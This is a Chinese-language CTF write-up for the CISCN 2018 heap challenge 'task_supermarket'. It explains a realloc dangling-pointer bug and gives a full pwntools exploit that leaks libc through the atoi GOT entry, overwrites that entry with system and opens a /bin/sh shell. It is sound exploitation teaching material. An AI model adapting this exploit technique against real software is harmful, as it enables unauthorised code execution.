CISCN-CTF-2018-task_supermarket

介绍

堆方面的题做的实在太菜了,找大佬要了几道题,来练练手。

这是CISCN中的一道简单的堆的题目。

分析程序

分析题目流程,比较清晰。add添加、del删除、list显示全部、price修改价格、description修改描述。其中bss段中那段数据的结构体如下。

1
2
3
4
5
6
struct n{
char name[16];
int price;
int size;
char * description;
}node[10];

其中漏洞在修改描述处,realloc重新分配内存的时候,没有将原来的指针修改为新指针。当relloc一个比原来大的地址的时候,会分配新的空间,但指针仍指向原来已经free的trunk。

1
2
3
4
5
6
for ( size = 0; size <= 0 || size > 256; size = getint() )
printf("descrip_size:");
if ( dest[index]->size != size )
realloc(dest[index]->description, size);
printf("description:");
gets(dest[index]->description, dest[index]->size);

利用方式

首先,add两次,修改第一个节点的描述,此时chunk结构如下:

1
2
3
4
5
6
7
8
9
10
add('1111', 20, 0x70, 'a'*0x6f)
add('2222', 20, 0x70, 'b'*0x6f)
description('1111', 0x100, '')
'''
chunk 0x9260000 (inuse) '1111'
chunk 0x9260020 (nouse) '1111'->description
chunk 0x9260098 (inuse) '2222'
chunk 0x92600b8 (inuse) '2222'->description
chunk 0x9260130 (inuse) '1111'new description
'''

然后,再add一次,根据heap分配的原理,他首先回去找已经释放的chunk 0x9260020是否可用,我们add的时候选择一个合适的大小,即可分配到此处。

1
2
3
4
5
6
7
8
9
add('3333',20,0x50,'')
'''
chunk 0x9260000 (inuse) '1111'
chunk 0x9260020 (inuse) '3333' and '1111'->description
chunk 0x9260040 (inuse) '3333'->description
chunk 0x9260098 (inuse) '2222'
chunk 0x92600b8 (inuse) '2222'->description
chunk 0x9260130 (inuse) '1111'new description
'''

接着,再次修改’1111’的description,即可修改’3333’的结构体内容,修改结构体中的description指针,为任意值。就可以利用list进行任意读,利用description进行任意写。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

def add(name, price, size, description):
p.sendafter('your choice>> ', '1\n')
p.sendafter('name:', name+'\n')
p.sendafter('price:', str(price)+'\n')
p.sendafter('descrip_size:', str(size)+'\n')
p.sendafter('description:', description+'\n')


def delete(name):
p.sendafter('your choice>> ', '2\n')
p.sendafter('name:', name+'\n')


def listall():
p.sendafter('your choice>> ', '3\n')
p.recvuntil('list below:\n')


def description(name, size, description):
p.sendafter('your choice>> ', '5\n')
p.sendafter('name:', name+'\n')
p.sendafter('descrip_size:', str(size)+'\n')
p.sendafter('description:', description+'\n')


p = process('./task_supermarket', env=env)
elf = ELF('./task_supermarket')
libc = ELF('./libc-2.23.so')

add('1111', 20, 0x70, 'a'*0x6f)
add('2222', 20, 0x70, 'b'*0x6f)
description('1111', 0x100, '')
add('3333', 20, 0x50, '')

# leak
payload = '3333'.ljust(16, '\x00') + p32(20) + p32(0x50) + p32(elf.got['atoi'])
description('1111', 0x70, payload)
listall()
leak = u32(p.recvuntil('\n\n')[-6:-2])
libc.address = leak - libc.symbols['atoi']
p.info('libc_addr: 0x%x' % libc.address)

# modifiy
description('3333', 0x50, p32(libc.symbols['system']))
p.sendline('/bin/sh\x00')

p.recvuntil('your choice>> ')
p.interactive()